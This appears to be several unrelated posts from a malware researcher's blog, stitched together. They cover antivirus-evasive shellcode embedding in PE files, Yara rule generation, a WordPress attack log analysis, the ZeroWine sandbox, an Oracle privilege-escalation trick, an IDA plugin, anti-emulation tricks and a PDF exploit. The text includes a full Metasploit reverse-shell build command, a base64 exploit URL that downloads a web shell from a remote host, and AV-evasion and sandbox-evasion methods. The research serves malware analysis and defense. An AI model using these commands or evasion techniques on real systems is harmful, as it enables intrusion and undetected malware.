The exact command line he sent to the mailing list of the tool he was running for creating the PE with the shellcode embed was this one:


$ ./msfpayload windows/meterpreter/reverse_https LHOST=www.xxx.com LPORT=666 R | ./msfencode -t raw -e x86/shikata_ga_nai -c 5 | ./msfencode -t raw -e x86/alpha_upper -c 2 | ./msfencode -t raw -e x86/shikata_ga_nai -c 5 | ./msfencode -t exe -c 5 -e x86/countdown -o xxx.exe


A file created like this was easily detected by many AV engines as you may see here. In the VirusTotal report, you will notice that 30 out of 42 AV engines detected this sample. However, using the tool I created based on Pyew to embed the shellcode in a PE file it changes a "bit". In this case, only one AV engine detects "something": eSafe says there is a "Virus in password protected archive". The following is the output of running the tool I wrote:

$ python shellcode_patch.py test/files/sample.exe msf/xxx.sc test/files/out.exe

[+] Loading and analysing file test/files/sample.exe
PE Information

Sections:
.text 0x1000 0x5e70 24576
.rdata 0x7000 0x3b4a 16384
.data 0xb000 0x2a60 8192
.rsrc 0xe000 0x1258 8192

Entry Point at 0x6cdf
Virtual Address is 0x406cdf
Code Analysis ...
Analyzing address 0x00006e5f - 0 in queue / 57 totall
[i] Total of 57 function(s) found in PE file
[i] Entry point function start at 0x00006cdf
[i] Function at offset 0x00003be8 will be patched
[+] Writing output file test/files/out.exe
[+] All finished!

The tool

You may download the script I wrote for Pyew here. But, obviously, it requires Pyew in order to run (you need to download the latest version from the Mercurial repository as it required to do some changes to code analysis engine as well as adding support for calculating the callgraph and all the flowgraphs). This easy script receives 3 arguments: the base PE file, the shellcode to embed and an output file. The tool loads the initial PE file, performs code analysis, finds a random function that is called from the entry point following some path, overwrites this function, changes the PE section's privilege accordingly (the shellcode will probably need to write data in this section) and writes the output file. And that's all! It's ~100 lines of code but with many checks and comments.

Possible future improvements

This is a quick script for doing this task. However, a more powefull one could be written with little effort. For example, instead of completely overwriting a function, we could embed the shellcode in the holes between functions and patch one function's prolog to call the shellcode and then return to the original function, for example.

Remember: If you want to use this tool you need to download the latest Pyew version from the Mercurial's repository.

The tool I wrote in Python is far from efficient (it's slow) but "works". The tool does the following:

1. Read all the files of a directory given via the command line.
2. Diff all the files and save the matching blocks for later analysis.
3. Compare and save the blocks matched in, at least, 70% of the samples with a minimum size of 5 bytes.
4. Print out the similar blocks.

For the test I used a set of (old) malwares packed with AutoIt. The following is a sample Yara rule generated by this tool:

$ ./tester.py malware/autoit/
CFileDiffer: Diffing a total of 10 file(s)
CFileDiffer: Diffing file 1 out of 10
CFileDiffer: Diffing file 2 out of 10
CFileDiffer: Diffing file 3 out of 10
CFileDiffer: Diffing file 4 out of 10
CFileDiffer: Diffing file 5 out of 10
CFileDiffer: Diffing file 6 out of 10
CFileDiffer: Diffing file 7 out of 10
CFileDiffer: Diffing file 8 out of 10
CFileDiffer: Diffing file 9 out of 10
CFileDiffer: Diffing file 10 out of 10

rule test : test
{
strings:
  $a = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
  $b = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 }
  $c = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
  $d = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 }
  $e = "AU3!EA06"
  $f = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6c cc 83 dc 28 ad ed 8f 28 ad ed 8f 28 ad ed 8f 95 e2 7b 8f 2a ad ed 8f 21 d5 69 8f 1c ad ed 8f 21 d5 6e 8f 9d ad ed 8f 0f 6b 80 8f 22 ad ed 8f 0f 6b 96 8f 09 ad ed 8f 28 ad ec 8f 2b af ed 8f 21 d5 62 8f 6f ad ed 8f 21 d5 78 8f 37 ad ed 8f 36 ff 78 8f 29 ad ed 8f 36 ff 79 8f 29 ad ed 8f 21 d5 7c 8f 29 ad ed 8f 52 69 63 68 28 ad ed 8f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 }

condition:
  ($c) or        // Matches a total of 8 file(s) out of 10
  ($a and $d) or // Matches a total of 10 file(s) out of 10
  ($f) or        // Matches a total of 3 file(s) out of 10
  ($b) or        // Matches a total of 4 file(s) out of 10
  ($e)           // Matches a total of 7 file(s) out of 10
}

This tool doesn't generate a rule to match the whole set but, rather, generates rules to match subsets of the given set. For example, the string"AU3!EA06" (rule $e) is matched in 7 files out of the 10 files set I ran the tool against, it doesn't match against the whole set. Indeed, the unique rule that matches the whole set is the 2nd one ($a and $d). However, this rule is not very useful, to be honest: It just matches a bunch of '\0' characters and the initial bytes of the PE header.

You can download the tool here. I hope you find it useful!

• What vulnerability is this exploiting? Am I vulnerable?
• What does the payload?
• Is this an automated attack or a manually launched one?

The attack in the logs

Since I installed mute screamer plugin for WordPress I receive regularly attack alerts (mainly about spamming). The one I received today was a bit different. In the generated log file the following line appears:

/blog/engine.php?action=log-reset&type=ih_options();eval(base64_decode(cGFzc3RocnUoJ3dnZXQgaHR0cDovL3d3dy5zY2sub2JlY3ZyYm92LnNrL3dwLWNvbnRlbnQvdXBsb2Fkcy9mZ2FsbGVyeS9zaC50eHQ7IG12IHNoLnR4dCBsb2cucGhwJyk7));

So, this is an exploit for a PHP code injection vulnerability in "engine.php". A quick search of the vulnerability revealed this: WordPress is_human() Plugin Remote Command Injection Vulnerability. Fortunately, I don't have this plugin installed so I already answered the first 2 questions. Time to answer the next one: what the payload does?

Analyzing the payload

In the generated log file we clearly see what code is the exploit trying to inject, in base64 format. Decoding it we get the following code:

The function passthru executes an operating system command and returns to the browser the output of the command (anyway, it isn't being used in this particular exploit). So, the attacker is downloading a backdoor and copying to log.php. The file the exploit downloads looks like this:

OK, looking to this it's clear that the function preg_replace is executing something but, what and how? My guess was that the "/e" modifier for the regular expression was for executing PHP code for a match and I was right. The code that is executed for every match (and it matches the complete buffer passed to preg_replace as the regex is ".*") is the following:

OK, the code is base64 encoded and also compressed with Gzip. Let's decode and decompress it:

OK, finally we have the real code that will be executed! A copy of the unobfuscated and formatted source is here. This is a common web shell typically used in automated attacks.

Conclussion

I cannot be 100% sure if it was an automated or a manual attack but, my guess, is that this was simply a blind automated attack launched against many web sites and, among them, this blog.

I plan to release in a month or so the newest version of ZeroWine focused on automation. This new version consists in the following components:

• A modified version of Wine 1.10.
• One XMLRPC Server.
• One XMLRPC client tool.

WINE Changes

Wine was patched to add more debugging channels and to remove noise from the output of ZeroWine as in the previous version the behavior reports were not as good as people wanted. In this version, however, the following new debugging channels were added to Wine:

humanmalware: Shows a human understandable message about what the malware did.
malware: A more technical message about what was done.
malwarelibs: Libraries loaded by the malware.
malwaredump: Dump network data.
regmalware: Dump every registry operation (very noisy).

The following is an example report's extract generated with the latest version of ZeroWine:

0009:malware:Call to CreateMutex(L"_AVIRA_21099") returned 72
0009:humanmalware:Creating mutex L"_AVIRA_21099"
0009:malware:Call to CreateToolhelp32Snapshot(2)
0009:humanmalware:Enumerating system processes (this may indicate anti-tracing activity)
0009:malware:Call to NtQuerySystemInformation(SystemProcessInformation)
0009:humanmalware:Process enumerates running processes (this may indicate anti-debugging and anti-monitoring activity)
0009:malware:Call to GetFileAttributesW ( L"C:\\windows\\system32" )
0009:malware:Call to SetFileAttributesW ( L"C:\\windows\\system32\\sdra64.exe", 32 )
0009:malware:Call to DeleteFileW ( L"C:\\windows\\system32\\sdra64.exe" ) failed with error code -1073741772
0009:humanmalware:Deleting file L"C:\\windows\\system32\\sdra64.exe" failed with error code -1073741772
0009:malware:Call to CopyFileW(L"Z:\\tmp\\vir\\62bb9091a3c7e692e26b3061cce67595\\malware.exe", L"C:\\windows\\system32\\sdra64.exe")
0009:humanmalware:Copying file L"Z:\\tmp\\vir\\62bb9091a3c7e692e26b3061cce67595\\malware.exe" to L"C:\\windows\\system32\\sdra64.exe"
0009:malware:Call to CreateFileW(L"Z:\\tmp\\vir\\62bb9091a3c7e692e26b3061cce67595\\malware.exe", GENERIC_READ FILE_SHARE_READ FILE_SHARE_WRITE , creation 3 attributes 0x0)

Zerowine XMLRPC Server

The XMLRPC server (zerowined) that will be distributed with ZeroWine 2.0 is a very simple python script that serves as a gateway between the VM and the client application. The sample client application (xmlrpc_client.py) receives the following arguments:

$ ./xmlrpc_client.py
Usage: ./xmlrpc_client.py <url | auto> <filename> <output directory>

The very first argument the client application receives is the URL of the XMLRPC server to connect or the keyword "auto" which means that a server from the list of servers stored in the file ''servers.conf' must be selected randomly (as you may have a lot of ZeroWine VM servers distributed in your organization). The next argument is the "malware file" to be analyzed and the last argument a directory where all the data gathered by ZeroWine 2.0 will be stored. In this version, the data we gather is the following:

• A memory dump of every running process (there may be more than just one malware running at the same time).
• A behavior report.
• A *.tar.gz file with every file either created or modified.

And that's all! The new version will be released (if all goes well) in a month. Cheers!

What happens if someone creates a table column based on a "malicious" PL/SQL function? What happens when someone selects data from a table with a virtual column that executes a GRANT command? If the user executing the query is a normal user, the function will fail, however, if the user is privileged, the code will be executed and the DBA privilege will be granted to the user "JOXEAN", like in the following sample:

While it isn't a big issue it can be used as a "logical bomb" by an atacker with CREATE TABLE privileges: Simply create a table with an interesting name and wait for DBA to select data from this table Oh! By the way, to create a permanent table you only need to have the privilege to create a temporary table... But this is another history

The navigator is good to get an idea about what a function does as we can see and browse in a user-friendly GUI all the functions executed from one specific point. For example, open the typical windows binary calc.exe in IDA Pro, wait until the initial analysis ends, run the script mynav.py in IDA and jump to the function "?CalcWndProc@@YGJPAUHWND__@@IIJ@Z" (at address 0x01006118 in Windows XP SP 3). Now, select Edit->Plugins->MyNav - Browse Function. A new dialog box will appear asking for the maximum recursion level, enter the number 1 and click OK. The following (browseable) graph will appear:

Depending on the selected maximum recursion level, some child nodes will be hidden like, for example, the childs nodes of the function "?SetRadix@@YGXK@Z". To see the hidden nodes simply double clik in the node with text "(8 more nodes)". The following graph will appear:

In this graph we can see what functions are executed from the "SetRadix" one. We can continue browsing the graph entering and leaving in some other functions but, what if I want to see what API calls are executed from an specific function? To open a browseable graph showing API calls select in the IDA's disassembly view the desired function (for example, the function at address 0x010022F9 in Windows XP SP3 -?CIO_vConvertToString@@YGXPAPAGPAUCALCINPUTOBJ@@H@Z-) and select Edit->Plugins->MyNav - Browse functions (show APIs), leave the default maximum recursion level and click OK. The browseable graph bellow will appear:

Taking a look to this graph we can "abstractly" see what the function ConvertToString does.

Code path searching

One of the most typical tasks when looking for vulnerabilities is to find a code path between data entry points (functions where you can insert data) and some target functions (vulnerable ones). With MyNav we can search automatically for code paths between 2 functions with just a few clicks. For example, continuing with the Windows calculator, we will search code paths from "WinMain" and "EverythingResettingNumberSetup" so, select Edit->Plugins->MyNav - Show code paths between 2 functions. A dialog box showing all the binary's functions will be shown:

In this dialog box select the starting point (WinMain) and click OK, the same dialog will appear again asking for the target function, select "EverythingResettingNumberSetup" and click OK. The following graph will appear:

Differential debugging usage example: notepad

In this example we will discover and analyze the code responsible for opening a file in notepad. Run IDA Pro and open the notepad.exe binary. Wait until the initial analysis finishes and, after it, run the script mynav.py in IDA. A lot of new menus will be added under Edit->Plugins as shown bellow:

Now, select a debugger from the debugger dropdown list and select from Edit->Plugins menu the option called "MyNav - New session". A dialog box asking for a session's name will appear. Enter a meaningfull name like "GuiNoise" or something like this as we will be recording the code responsible of GUI painting, uninteresting for our goal (discover the code executed when we open a file inside notepad).

Press OK and a message box saying that there is no breakpoint set will appear. Answer "Yes" and MyNav will set a breakpoint in every function and start the debuggger. While the application is running move the window, minimize, maximize, restore it, popup the contextual menus and close the application when done. When debugging stops, a graph showing all the executed functions will appear:

This callgraph shows all the functions executed and the relationships between them. All the breakpoints sets in a function that was executed in this session were removed after the first hit so we will not stop again in the GUI related code. Now, record another session, select Edit->Plugin->MyNav - New session and enter the name "FileOpenDialog". When the debugger starts select in notepad "File->Open" and cancel the dialog box. Select again in notepad "File->Open" but this time select a file to open. When done, close the application and the following callgraph will appear:

This time only 7 functions appeared, those responsible of showing the file open dialog box and opening the file. The notepad.exe binary contains 88 functions and we discovered in a few seconds the interesting functions. Now, it's time to discover the exact code executed when I cancel the dialog box and when I select a file to open so, select Edit->Plugins->MyNav - Trace in session and a dialog box will appear showing all the recorded session. Select the session named "FileOpen" in the dialog shown bellow:

After it, the typical dialog box asking for a sessions name will appear. Enter the name "TraceFileOpenCancel", click OK and the debugger starts. When notepad is opened, select File->Open, cancel the dialog box and close the application.

The colored basic blocks are those executed when we cancelled the dialog box. Now, we will trace again the same session but this time opening a file so, select Edit->Plugins->MyNav - Trace in session, select the session named "FileOpen" and enter the name "TraceFileOpen". When debugger starts the application select File->Open and open a file. When done, close notepad and the following code will be shown:

The new color shows the basic blocks executed this time. If we want, we can see the differences between the 2 sessions. Select Edit->Plugins->MyNav - Show step trace session and a dialog box showing a list of all the recorded trace sessions will appear. Select the trace session called "TraceFileOpenCancel" and click OK. Notice the change in the graph:

In about 5 minutes we discovered the functions and the instructions executed when we cancel the file open dialog box and when we open a file. It was easy, wasn't it?

Final Notes

MyNav will be released in July 2010 and the code will be uploaded to the project page at Google Code.

The most typically used antiemulation technique is the use of undocumented APIs or the use of non common ones such as, in example, SetErrorMode:

This technique catches, at least, the IDAPro+Bochs debugger and Norman Sandbox.

Another typical trick is the use of non existent APIs. Many emulators will try to "emulate" the function by simply returning 0 instead of failing with a null pointer exception. Another one, try to load a vital library for the operating system which is not emulated and call an exported function: just trying to load the library will fail in almost any emulators:

Just in the case an emulator allows to load any library returning a pseudo handle, a bit more complex examples:

This technique(s) works in the 3 emulators I tested (Norman Sandbox, IDA+Bochs and Wine) and I'm pretty sure that them will work in any emulator.

Old Features

In the old -good?- days of MSDOS and Windows 9x the AUX, CON, and other special devices were used to read data from the keyboard, change terminal colors, etc... This behavior, while not currently supported (if I'm not wrong), works in current Microsoft Windows operating systems but not in emulators. The following is an easy example:

The unique "emulator" that simulates correctly this behavior is Wine. This technique was found by 2 of my co-workers, nick-namely, "PE_Luchin" and "Shaddy".

Assembly

Emulating corrrectly a complete CPU is a very hard task and is also the most error prone area to look for incongruencies. Norman Sandbox works remarkably bad in this sense: The emulator fails (or it failed, I didn't tested it since last year) with instructions like ICEBP or UD2 and allows changing, in example, the debug registers via privileged instructions. Easier to see in the following 4 examples:

These tests were launched against Wine, IDA+Bochs and Norman. While they don't work in Bochs they makes failing both Norman Sandbox and Wine; both thinks the process has crashed and stops execution.

Conclussion

There are a lot of antiemulation techniques and these are just simple examples; writting much more elaborated ones is a matter of time and it's simply impossible to circunvent all the antiemulation techniques. The old cat & mouse game

For example, I will take one obfuscated PDF exploit (SHA256 6a8204ee7b703f96f811f32f903ac9df4045b05910d633fc34fed89e2e0a7576). I will open it in Pyew to see what is inside so, simply, run the command "pyew pdf.file":

$ pyew sample.pdf
PDF File

PDFiD 0.0.9_PL 6a8204ee7b703f96f811f32f903ac9df4045b05910d633fc34fed89e2e0a7576
PDF Header: %PDF-1.1
obj 4
endobj 4
stream 1
endstream 1
xref 1
trailer 1
startxref 1
/Page 1
/Encrypt 0
/ObjStm 0
/JS 1
/JavaScript 1
/AA 0
/OpenAction 1
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Colors > 2^24 0
%%EOF 1
After last %%EOF 0
Total entropy: 4.293999 ( 5547 bytes)
Entropy inside streams: 3.669587 ( 4773 bytes)
Entropy outside streams: 5.132696 ( 774 bytes)

(...)

[0x00000000]> p
%PDF-1.1
%вгПУ
1 0 obj
<<
/Type /Catalog
/OpenAction <<
/JS 4 0 R
/S /JavaScript
>>
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [ 3 0 R ]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Name /F1
/Subtype /Type1
/BaseFont /Helvetica
>>
>>
>>
/MediaBox [ 0 0 795 842 ]
>>
endobj
4 0 obj
<<
/Length 4769
/Filter [/ASCIIHexDecode /ASCII85Decode /#4c

What we see in Pyew? The output of PDFId (a great tool by Didier Stevens) as well as the hexadecimal output of the first block (512 bytes). Taking a brief look to the 1st block of data we see one "OpenAction" to execute JavaScript. Surprise. The code "/JS 4 0 R" specifies that the JavaScript code to be executed is the object number 4. Seeking to the offset where the object #4 is and printing the buffer (in ASCII) we will find the following:

[0x000001b7]> s 0x1b7
[0x000001b7]> p
4 0 obj
<<
        /Length 4769
        /Filter [/ASCIIHexDecode /ASCII85Decode /#4c#5a#57De#63#6fde /R#75nLen#67t#68#44ecod#65 /FlateDecode ]
>>stream
4A2E3539605651222D714E634326304C5A47725A236A63494B26682C323A4E532...

The object is multiple times encoded and, which is more, the strings to specify what filters must be used in order to decode the stream are encoded too. It's perfectly legal according to the PDF specifications, although pretty suspicious. Pyew does a good job decoding both the encoded strings and the multiple times encoded stream. To see the streams just type "pdfvi" to see the encoded streams in the console:

eval(unescape("%76%61%72%20%56%68%4C%66%4E%20%3D..."))

Wow! it's a small chunk of JavaScript data Pyew automagically applied all the filters needed (ASCIIHexDecode, ASCII85Decode, LZWDecode, RunLengthDecode and FlateDecode) and printed out the obfuscated code. We can see it, too, in a graphical user interface. Instead of typing "pdfvi" execute the command "pdfview". You will see the following screen:

Obfuscated Stream View

More Examples

OK, so we can see now the encoded stream but, what if there are a lot of encoded streams and we must check them all or if we want to see just one of them? For this purpose, and also to show the Pyew's APIs, I created an example usage of the PDF API. The example reads all the streams and shows a list of all the encoded streams as you may see in the following snapshot:

Usage example of the PDF API

Using this simple screen we can see all the streams or just one specific (encoded) stream. This is the code of this example usage of the Pyew's API for the PDF format:

And, that's all for the moment. I hope you like the new Pyew's features

Anyway, even when Pyew have a command line interface (and a graphical user interface is planned) it was written for batch analysis of malware. Let's imagine the following situation: You need to analyze a bunch of malware samples, i.e. 1000 new samples. What would you do? Analyze all of them manually one per one? It's better to write some sort of batch script to analyze the samples and get a simple report about the malwares. You may find in the wiki of Pyew a batch script example to check for some specific marks at the file header, get the API calls made at entry point or to get a list of uncommon mnemonics found in the entry point.

Just to show another example of Pyew in batch mode I will explain how to write a simple script to get mnemonics of instructions used commonly as antidebugs. Let's start writting the script. First import the libraries we need:

We need to import the class CPyew from pyew_core (the kernel of Pyew). Next, write a code to handle the load of one file and, after the load, print the antidebugs found:

That's all! This simple script will take as input a file and will analyze it for mnemonics used as antidebug (like INT 3 or RDTSC). Now, it's time to write a better script that takes a directory and recursively traverses every subdirectory to analyze all files. The final result is here

What is this? We're pushing the address of the function some_func in the stack and, after this, jumping unconditionally to the address contained at EDX. The question here is: What value has the EDX register before executing your first line of assembly code? You have the address of ntdll!KiFastSystemCallRet:

So, basically, we're jumping to a return only function (see a detailed description of KiFastSystemCallRet) efectively returning into the "some_func" function. The emulators I tested, as in example, the Bochs Debugger module that comes with IDA Pro, initialize all the registers to 0: a cool trick! And the first time I see this.

The tricks I typically find in malware are undocumented (or non typical) API calls mixed with junk code, as the following example extracted from a Mebroot downloader:

Junk code using APIs relatively commons:

Very simple API calls not commonly emulated (extracted from the dropper of the rootkit TDSS):

Or strange x86 assembly instructions like multibyte NOPs with redundant prefixes and so on (found in some variants of Sality):

I know it's just one antiemulation trick and there are thousands of them but this trick is new (at least for me), special and cool!